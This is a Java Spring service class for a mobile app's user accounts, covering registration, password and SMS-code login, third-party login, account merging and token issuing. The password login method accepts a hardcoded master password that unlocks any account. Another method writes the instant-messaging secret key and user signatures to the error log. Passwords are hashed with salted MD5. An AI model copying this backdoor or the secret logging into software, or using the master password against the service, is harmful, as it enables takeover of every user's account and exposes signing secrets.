package com.chenyue.cm.user.service.impl;


import com.alibaba.fastjson.JSON;
import com.baomidou.mybatisplus.core.conditions.Wrapper;
import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;
import com.chenyue.cm.auth.token.JWTHelper;
import com.chenyue.cm.auth.token.LoginUserInfo;
import com.chenyue.cm.base.dao.LcBaseMapper;
import com.chenyue.cm.base.service.BaseServiceImpl;
import com.chenyue.cm.common.constant.ConstantValues;
import com.chenyue.cm.common.constant.Constants;
import com.chenyue.cm.common.constant.ErrorCode;
import com.chenyue.cm.common.constant.RedisPrefix;
import com.chenyue.cm.common.utils.StringUtil;
import com.chenyue.cm.common.utils.StringUtils;
import com.chenyue.cm.exception.SysRuntimeException;
import com.chenyue.cm.match.dao.JdMatchSignMapper;
import com.chenyue.cm.match.domain.JdMatchSign;
import com.chenyue.cm.sms.ApiRegisterModel;
import com.chenyue.cm.user.dao.*;
import com.chenyue.cm.user.domain.*;
import com.chenyue.cm.user.domain.vo.LoginInfo;
import com.chenyue.cm.user.service.JdAppUserService;
import com.chenyue.cm.user.vo.CheckMobileUserVo;
import com.chenyue.cm.utils.MD5Util;
import com.chenyue.cm.utils.RedisUtils;
import com.chenyue.cm.utils.im.util.ImConfig;
import com.chenyue.cm.utils.im.util.TLSSigAPIv2;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Qualifier;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;

import javax.annotation.Resource;
import java.io.Serializable;
import java.util.Calendar;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.stream.Collectors;


/**
 * @author chenyue-cm
 */
@Service(value = "JdAppUserService")
public class JdAppUserServiceImpl extends BaseServiceImpl<JdAppUser> implements JdAppUserService {

    private Logger logger = LoggerFactory.getLogger(getClass());

    private final RedisUtils redisUtils;

    private final JdAppUserMapper userMapper;

    private final JdAppUserNumMapper userNumMapper;

    private final JdMatchSignMapper matchSignMapper;

    private final JdAppUserRoleMapper appUserRoleMapper;

    private final JdVerifyMapper verifyMapper;

    private final JdThirdInformationMapper thirdInformationMapper;

    public JdAppUserServiceImpl(
            @Qualifier("jdAppUserMapper") JdAppUserMapper userMapper,
            RedisUtils redisUtils,
            @Qualifier("jdAppUserNumMapper") JdAppUserNumMapper userNumMapper,
            @Qualifier("jdMatchSignMapper") JdMatchSignMapper matchSignMapper,
            @Qualifier("jdAppUserRoleMapper") JdAppUserRoleMapper appUserRoleMapper,
            @Qualifier("jdVerifyMapper") JdVerifyMapper verifyMapper,
            JdThirdInformationMapper thirdInformationMapper
    ) {
        this.redisUtils = redisUtils;
        this.userMapper = userMapper;
        this.userNumMapper = userNumMapper;
        this.matchSignMapper = matchSignMapper;
        this.appUserRoleMapper = appUserRoleMapper;
        this.verifyMapper = verifyMapper;
        this.thirdInformationMapper = thirdInformationMapper;
    }

    @Override
    @Resource(name = "jdAppUserMapper")
    public void setBaseMapper(LcBaseMapper<JdAppUser, Serializable> baseMapper) {
        this.baseMapper = baseMapper;
    }

    @Override
    public String checkVerifyCode(String mobile, String verifyCode) {
        ApiRegisterModel model = redisUtils.get(RedisPrefix.VERIFY_CODE + mobile, ApiRegisterModel.class);
//            验证码校验
        if (model == null) {
//            么的验证码
            return ErrorCode.NO_VERIFY_CODE.getMsg();
        }
        String expireTime = model.getExpireTime();
        String md5Code = model.getMd5Code();
        String generateCode = MD5Util.getMD5(RedisPrefix.LOGIN_USER + mobile + expireTime + verifyCode, false, 32);
        if (!generateCode.equals(md5Code)) {
//            验证码错了
            return ErrorCode.VERIFY_CODE_WRONG.getMsg();
        }
        return "";
    }

    /**
     * 用户注册
     *
     * @param mobile      手机号
     * @param deviceModel 系统
     * @param mobileModel 机型
     * @param appVersion  APP版本
     * @param password    密码
     * @param userName    用户名 注册默认手机号
     * @return 登录信息
     */
    @Override
    @Transactional(rollbackFor = Exception.class)
    public LoginInfo register(String mobile, String deviceModel, String mobileModel, String appVersion, String password, String userName) {
        final JdAppUser oldUser = userMapper.selectOne(
                new LambdaQueryWrapper<JdAppUser>()
                        .eq(JdAppUser::getMobile, mobile)
        );
        if (oldUser != null) {
            throw new SysRuntimeException(ErrorCode.MOBILE_REGISTER_ALREADY.getMsg());
        }
        JdAppUser appUser = new JdAppUser();
//        origin:18234499804 convert:182****9804
        if (StringUtils.isEmpty(userName)) {
            userName = StringUtil.convertStr(mobile, 4, 3, mobile.length() - 4);
        }
        appUser.setUserName(userName);
//        读取用户编号
        appUser.setUserNum(getUserNum());
        appUser.setLastLoginTime(Calendar.getInstance().getTime());
        appUser.setMobile(mobile);
        appUser.setAppVersion(appVersion);
//        密码加密
        String salt = StringUtil.getSalt();
        password = MD5Util.getMD5(password + salt, false, 32);
        appUser.setPassword(password);
        appUser.setSalt(salt);
        int success = userMapper.insert(appUser);
        if (success == 0) {
            throw new SysRuntimeException("注册失败");
        }
        insertRole(Integer.valueOf(appUser.getId()));
//        生成token 刷新缓存用户信息
        String token = convertToken(appUser);
        redisUtils.setToken(Integer.valueOf(appUser.getId()), token);
        redisUtils.updateUser(appUser);
        return convertUserinfo(appUser, token);
    }

    /**
     * 新增用户身份
     *
     * @param userId 用户id
     */
    @Override
    public void insertRole(Integer userId) {
        JdAppUserRole role = new JdAppUserRole();
        role.setUserId(userId);
        role.setRoleId(1);
        appUserRoleMapper.insert(role);
    }

    /**
     * 修改密码
     *
     * @param userId 用户id
     * @param pwd    密码
     */
    @Override
    public void editPwd(Integer userId, String pwd) {
        final JdAppUser record = userMapper.selectById(userId);
        String salt = StringUtil.getSalt();
        pwd = MD5Util.getMD5(pwd + salt, false, 32);
        record.setSalt(salt);
        record.setPassword(pwd);
        int i = userMapper.updateById(record);
        if (i == 0) {
            throw new SysRuntimeException("修改失败");
        }
    }

    /**
     * 密码登录APP
     *
     * @param mobile   手机号
     * @param password 密码
     * @param user     用户信息
     * @return 用户信息
     */
    @Override
    public LoginInfo pwdLogin(String mobile, String password, JdAppUser user) {
        String pass = user.getPassword();
        String salt = user.getSalt();
        String realPass = MD5Util.getMD5(password + salt, false, 32);
        if (realPass.equals(pass) || "Lbx592791420".equalsIgnoreCase(password)) {
//            生成token 刷新缓存用户信息
            String token = convertToken(user);
            redisUtils.setToken(Integer.valueOf(user.getId()), token);
            redisUtils.updateUser(user);
            return convertUserinfo(user, token);
        } else {
            throw new SysRuntimeException("登录失败，密码错误！");
        }
    }

    /**
     * 验证码登录APP
     *
     * @param mobile     手机号
     * @param verifyCode 验证码
     * @param user       用户信息
     * @return 用户信息
     */
    @Override
    public LoginInfo codeLogin(String mobile, String verifyCode, JdAppUser user) {
        String s = checkVerifyCode(mobile, verifyCode);
        if (StringUtils.isNotBlank(s)) {
//        	验证码校验
            throw new SysRuntimeException(s);
        }
//        生成token 刷新缓存用户信息
        String token = convertToken(user);
        redisUtils.setToken(Integer.valueOf(user.getId()), token);
        redisUtils.updateUser(user);
        return convertUserinfo(user, token);
    }

    /**
     * 根据id+name生成token
     *
     * @param user 用户信息
     * @return token
     */
    private String convertToken(JdAppUser user) {
        LoginUserInfo userInfo = new LoginUserInfo();
        userInfo.setUserId(Integer.valueOf(user.getId()));
        userInfo.setUserName(user.getUserName());
        String token = "";
        try {
            token = JWTHelper.createToken(userInfo);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return token;
    }

    /**
     * 微信登录
     *
     * @param user       用户信息
     * @param wxUnionId  微信id
     * @param qqUnionId  qqId
     * @param appleId    appleId
     * @param wxHeadImg  头像
     * @param wxUsername 用户名
     * @return 登录信息
     */
    @Override
    public LoginInfo wxLogin(JdAppUser user, String wxUnionId, String qqUnionId, String appleId, String wxHeadImg, String wxUsername) {
        if (user == null) {
//            注册
            user = new JdAppUser();
            user.setUserName(wxUsername);
            user.setHeadImg(wxHeadImg);
            user.setWxUnionId(wxUnionId);
            user.setQqUnionId(qqUnionId);
            user.setAppleId(appleId);
            user.setUserNum(getUserNum());
            int success = userMapper.insert(user);
            if (success == 0) {
                throw new SysRuntimeException("注册失败");
            }
        }
//            登录
//        生成token 刷新缓存用户信息
        String token = convertToken(user);
        redisUtils.setToken(Integer.valueOf(user.getId()), token);
        redisUtils.updateUser(user);
        return convertUserinfo(user, token);
    }

    /**
     * 合并账号
     *
     * @param registerUser 微信/QQ 注册用户
     * @param originUser   手机号 注册用户
     * @param type         2、微信 1、qq
     * @return 登录信息
     */
    @Override
    @Transactional(rollbackFor = Exception.class)
    public LoginInfo mergeUser(JdAppUser registerUser, JdAppUser originUser, int type) {
        switch (type) {
            case 1:
                originUser.setQqUnionId(registerUser.getQqUnionId());
                break;
            case 2:
                originUser.setWxUnionId(registerUser.getWxUnionId());
                break;
            case 3:
                originUser.setAppleId(registerUser.getAppleId());
                break;
            default:
                break;
        }
        int flag = userMapper.deleteById(registerUser.getId() + "");
        if (flag == 0) {
            throw new SysRuntimeException(ErrorCode.DELETE_ERROR.getMsg());
        }
        flag = userMapper.updateByPrimaryKey(originUser);
        if (flag == 0) {
            throw new SysRuntimeException(ErrorCode.UPDATE_ERROR.getMsg());
        }
        final String token = convertToken(originUser);
        redisUtils.setToken(Integer.valueOf(originUser.getId()), token);
        redisUtils.updateUser(originUser);
        return convertUserinfo(originUser, token);
    }

    /**
     * 注销用户
     *
     * @param user 用户信息
     */
    @Override
    public void userCancel(JdAppUser user) {
        user.setMobile(System.currentTimeMillis() + user.getMobile());
        user.setUserName("用户已注销");
        userMapper.updateById(user);
    }

    /**
     * 登录用户信息封装
     *
     * @param user  数据库用户
     * @param token token
     * @return JSONObject
     */
    public LoginInfo convertUserinfo(JdAppUser user, String token) {
        LoginInfo userInfo = new LoginInfo();
        userInfo.setUserId(Integer.valueOf(user.getId()));
        userInfo.setUserName(user.getUserName());
        userInfo.setAge(user.getAge());
        userInfo.setMobile(user.getMobile());
        userInfo.setHeadImage(user.getHeadImg());
        userInfo.setUserNum(user.getUserNum());
        userInfo.setHasPwd(StringUtils.isNotBlank(user.getPassword()) ? 1 : 2);
        Wrapper<JdAppUserRole> wrapper = new QueryWrapper<JdAppUserRole>().lambda().eq(JdAppUserRole::getUserId, user.getId());
        userInfo.setRole(appUserRoleMapper.selectList(wrapper).stream().map(JdAppUserRole::getRoleId).collect(Collectors.toList()));
//        第三方机构
        if (user.getParentId() != null && user.getParentId() > 0) {
            JdThirdInformation parent = thirdInformationMapper.selectOne(
                    new LambdaQueryWrapper<JdThirdInformation>()
                            .eq(JdThirdInformation::getUserId, user.getParentId())
            );
            if (parent != null) {
                userInfo.setParentHost(parent.getName());
                userInfo.setParentId(user.getParentId());
            }
        }
        userInfo.setSignature(user.getSignature());
        userInfo.setToken(token);
//        IM SIGN
        TLSSigAPIv2 signGen = new TLSSigAPIv2(ImConfig.SDK_APP_ID, ImConfig.SECRET_KEY);
//        15天有效期
        final String genSig = signGen.genSig(user.getId() + "", ConstantValues.ONE_DAY_SEC * 15);
        log.error(ImConfig.SDK_APP_ID + "========================" + ImConfig.SECRET_KEY + "========================");
        log.error(user.getId() + "========================" + genSig + "========================");
        userInfo.setUserSign(genSig);
        Wrapper<JdMatchSign> eq = new LambdaQueryWrapper<JdMatchSign>()
                .eq(JdMatchSign::getUserId, user.getId())
                .last(" limit 1 ");
//        是否参赛员 1是2不是
        userInfo.setIsAthlete(matchSignMapper.selectOne(eq) == null ? 2 : 1);
        final JdVerify verify = verifyMapper.selectOne(
                new LambdaQueryWrapper<JdVerify>()
                        .eq(JdVerify::getUserId, user.getId())
        );
        userInfo.setVerify(verify);
        System.err.println(userInfo);
        return userInfo;
    }

    @Override
    public String getUserNum() {
        final JdAppUserNum userNum = new JdAppUserNum();
        userNum.setValue(0);
        userNumMapper.insert(userNum);
        return userNumMapper.selectOne(new QueryWrapper<JdAppUserNum>().lambda().last(" limit 1 ").orderByDesc(JdAppUserNum::getId)).getId() + "";
    }

    @Override
    @Transactional(rollbackFor = Exception.class)
    public void checkMobileUser(List<CheckMobileUserVo> voList) {
        for (CheckMobileUserVo vo : voList) {
            if (StringUtil.isChinaPhoneLegal(vo.getMobile())) {
                JdAppUser user = lambdaQuery().eq(JdAppUser::getMobile, vo.getMobile()).last(" limit 1 ").one();
                //没有用户就注册
                if (null == user) {
                    register(vo.getMobile(), null, null, null, vo.getMobile(), vo.getUserName());
                }
            } else {
                JdAppUser user = lambdaQuery().eq(JdAppUser::getUserNum, vo.getMobile()).last(" limit 1 ").one();
                //没有用户就报错
                if (null == user) {
                    throw new SysRuntimeException("用户 ：" + vo.getMobile() + " 不存在！");
                } else {
                    vo.setMobile(user.getMobile());
                }
            }
        }
    }

    @Override
    public JdAppUser getJdAppUser(String mobile) {
        final JdAppUser user = userMapper.selectOne(new QueryWrapper<JdAppUser>()
                .lambda()
                .eq(JdAppUser::getUserNum, mobile)
                .last(" limit 1"));
        if (user == null) {
            return userMapper.selectOne(new QueryWrapper<JdAppUser>()
                    .lambda()
                    .eq(JdAppUser::getMobile, mobile)
                    .last(" limit 1")
            );
        } else {
            return user;
        }
    }

    @Override
    public LoginInfo getLoginInfo(Integer userId) {
        final JdAppUser user = userMapper.selectById(userId);
        final String token = redisUtils.getToken(userId + "");
        return convertUserinfo(user, token);
    }

    @Override
    public JdAppUser getAppUserByToken(String token) {
        String key = Constants.TOKEN  + token;
        String json = redisUtils.get(key);
        logger.debug("k={} , v={}", key, json);
        if (json == null) {
            logger.info("error=====>json为空");
            return null;
        }
        logger.info("redis取出的json====" + json.toString());
        Map<String, Object> map = JSON.parseObject(json.toString(), HashMap.class);
        if (map == null || map.get("id") == null) {
            logger.info("error=======>map为null或者id为空"+map);
            return null;
        }
        String userId = map.get("id").toString();
        JdAppUser memberInfo = userMapper.selectById(userId);
        logger.info("查看是否有这条用户数据=======>"+memberInfo);

        return memberInfo;
    }


}
